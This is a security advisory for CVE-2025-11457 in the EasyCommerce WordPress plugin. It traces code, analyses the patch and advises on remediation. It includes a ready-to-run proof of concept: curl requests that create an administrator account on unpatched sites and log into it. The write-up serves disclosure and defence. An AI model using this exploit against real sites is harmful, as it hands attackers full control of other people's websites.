CVE-2025-11457: Privilege Escalation in EasyCommerce Plugin
Table of Contents
CVE-2025-11457 is a CVSS 9.8 (Critical) Unauthenticated Privilege Escalation vulnerability in the EasyCommerce – AI-Powered, Blazing-Fast & Beautiful WordPress Ecommerce Plugin for WordPress. The vulnerability affects all versions from 0.9.0-beta2 through 1.8.2. A single crafted HTTP request to the plugin’s order creation endpoint lets an unauthenticated attacker create a WordPress admin account and take full control of the site.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | EasyCommerce – AI-Powered, Blazing-Fast & Beautiful WordPress Ecommerce Plugin |
| Plugin Slug | easycommerce |
| CVE ID | CVE-2025-11457 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Privilege Escalation (Improper Privilege Management) |
| Affected Versions | <= 1.8.2 |
| Patched Version | 1.8.3 |
| Published | November 10, 2025 |
| Researcher | kr0d |
| Wordfence Advisory | Link |
Description
The EasyCommerce – AI-Powered, Fast & Beautiful WordPress Ecommerce Plugin for WordPress is vulnerable to Privilege Escalation in versions 0.9.0-beta2 to 1.8.2. This is due to the /easycommerce/v1/orders REST API endpoint not properly restricting the ability for users to select roles during registration. This makes it possible for unauthenticated attackers to gain administrator-level access to a vulnerable site.
Technical Analysis
Vulnerable Code Path
1. REST API Endpoint Registration (app/Controllers/Common/API.php, line 2329–2371)
The POST /wp-json/easycommerce/v1/orders endpoint is registered with the is_user permission callback:
// app/Controllers/Common/API.php — register_order_endpoints()
$this->register_route(
'/orders',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( new Order(), 'create' ),
'args' => array(
'customer' => array(
'description' => __( 'The customer ID or an array of customer data', 'easycommerce' ),
'required' => true,
),
// ... other args, no validation on 'role' inside 'customer'
),
'permission' => array( $this, 'is_user' ),
)
);
2. Permission Callback Always Returns True (app/Traits/Auth.php, line 23–26)
// app/Traits/Auth.php
public function is_user( $request ) {
return __return_true();
}
is_user() unconditionally returns true, which means any unauthenticated HTTP request passes the permission check. There is no nonce, no authentication token, and no IP restriction.
3. Order Creation Passes Raw Customer Data to User Creation (app/API/Order.php, line 71–75)
// app/API/Order.php — create()
} elseif ( is_array( $customer ) ) {
$customer_obj = new Customer();
$customer_obj->create( $customer ); // $customer comes directly from request params
$customer_id = $customer_obj->get_id();
}
If the customer parameter is a JSON object and the email address does not exist yet, the plugin passes the full $customer array — unsanitized — directly to Customer::create(). This includes any role field the request contains.
4. Role Assigned Without Restriction (app/Abstracts/User.php, line 330)
// app/Abstracts/User.php — create()
$this->role = isset( $args['role'] ) ? $args['role'] : $this->role;
The create() method in the abstract User class directly assigns $args['role'] if it is present. No sanitization occurs before this call. So if an attacker sends "role": "administrator" in the request, their account is created with full administrator privileges.
5. User Saved with Attacker-Controlled Role (app/Abstracts/User.php, line 230–241)
// app/Abstracts/User.php — save()
$userdata = array(
'user_email' => $this->email,
'user_login' => $this->email,
'display_name' => $this->name,
'role' => $this->role, // attacker-controlled value
'user_pass' => $this->password,
);
$user_id = wp_insert_user( $userdata );
WordPress’s wp_insert_user() accepts any valid role string. The new account is created with whatever role the attacker specified.
Root Cause
The vulnerability combines two flaws:
- Missing authentication on the order creation endpoint:
is_user()always returnstrue, allowing unauthenticated requests. - Missing role allowlist / sanitization: The
User::create()method blindly trusts the caller-suppliedroleargument and passes it directly towp_insert_user().
Why Controls Failed
The customer REST API parameter description states it accepts “The customer ID or an array of customer data (name and email)”. The role key was never listed as a valid field in the argument definition, but it was never rejected either. WordPress REST API definitions do not enforce strict schemas. Undefined keys are ignored during validation, but they remain readable via get_param() in the handler. Because Order::create() passes the entire customer parameter directly to User::create(), no layer existed between the HTTP request and the role assignment.
Attack Impact
An unauthenticated attacker can:
- Create a new WordPress user account with the
administratorrole - Immediately log in to the WordPress admin dashboard
- Take full control of the site: install/remove plugins and themes, read all user data, modify content, exfiltrate credentials, or deploy malware
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
easycommerceplugin installed and activated - Plugin version <= 1.8.2
Step-by-Step Reproduction
Step 1: Identify the target site
Confirm the plugin is active and identify the WordPress REST API base URL. EasyCommerce’s REST API namespace is easycommerce/v1.
TARGET="https://example.com"
Step 2: Craft the privilege escalation payload
Send a POST request to the order creation endpoint, supplying a customer object that includes "role": "administrator". The items field can be any string here — the user creation code runs before cart validation, so the account is created even if the cart check fails later.
curl -s -X POST "$TARGET/wp-json/easycommerce/v1/orders" \
-H "Content-Type: application/json" \
-d '{
"items": "placeholder",
"customer": {
"email": "attacker@evil.com",
"name": "Attacker",
"first_name": "Evil",
"last_name": "Attacker",
"role": "administrator",
"password": "Sup3rS3cr3t!"
},
"status": "pending"
}'
Step 3: Confirm account creation
Even if the order fails — for example, due to an invalid cart hash — the plugin has already created the user account before reaching cart validation. Log in to the WordPress admin with the attacker’s credentials:
curl -s -X POST "$TARGET/wp-login.php" \
-d "log=attacker%40evil.com&pwd=Sup3rS3cr3t%21&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Content-Type: application/x-www-form-urlencoded" \
-c /tmp/cookies.txt \
-b "wordpress_test_cookie=WP+Cookie+check" \
-L
Expected Result
A new WordPress user attacker@evil.com is created with the administrator role. The attacker can now log into the WordPress admin panel and has full site control.
Verification
After the POST request, query the WordPress database or admin panel:
# Via WP-CLI (on the server)
wp user get attacker@evil.com --field=roles
# Expected output:
# administrator
Alternatively, navigate to $TARGET/wp-admin/users.php and confirm the new user appears with the Administrator role.
Patch Analysis
What Changed
The patch modifies only one file:
app/Abstracts/User.php— line 330
Fix Explanation
The patch removes the ability for callers to specify a role via the $args array in User::create(). Instead, the role is always kept as the object’s pre-set default:
- $this->role = isset( $args['role'] ) ? $args['role'] : $this->role;
+ // Prevent user-supplied role for security reasons (CVE-2025-11457)
+ $this->role = $this->role;
The Customer class sets protected $role = 'customer' by default. So the fix ensures all users created through the order flow receive the customer role, no matter what the request contains.
However, the fix is not complete. It addresses the unvalidated role assignment, but does not fix the is_user() permission callback, which still returns true unconditionally. The order creation endpoint remains open to unauthenticated users. This may allow other abuse such as registration spam or cart manipulation. Defenders should evaluate whether is_user() should require authentication in a future release.
Code Diff (Key Changes)
--- a/app/Abstracts/User.php
+++ b/app/Abstracts/User.php
@@ -327,7 +327,8 @@ abstract class User {
$this->name = $args['name'];
$this->first_name = $args['first_name'];
$this->last_name = $args['last_name'];
- $this->role = isset( $args['role'] ) ? $args['role'] : $this->role;
+ // Prevent user-supplied role for security reasons (CVE-2025-11457)
+ $this->role = $this->role;
$this->password = isset( $args['password'] ) ? $args['password'] : wp_generate_password();
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by kr0d |
| November 10, 2025 | Publicly disclosed on Wordfence Intelligence |
| November 13, 2025 | Advisory last updated |
| November 10, 2025 | Patched version 1.8.3 released |
Remediation
Update the easycommerce plugin to version 1.8.3 or later immediately. If an immediate update is not possible, consider temporarily deactivating the plugin until updating is possible. After updating, audit your WordPress user list for any unexpected administrator accounts created before the patch was applied.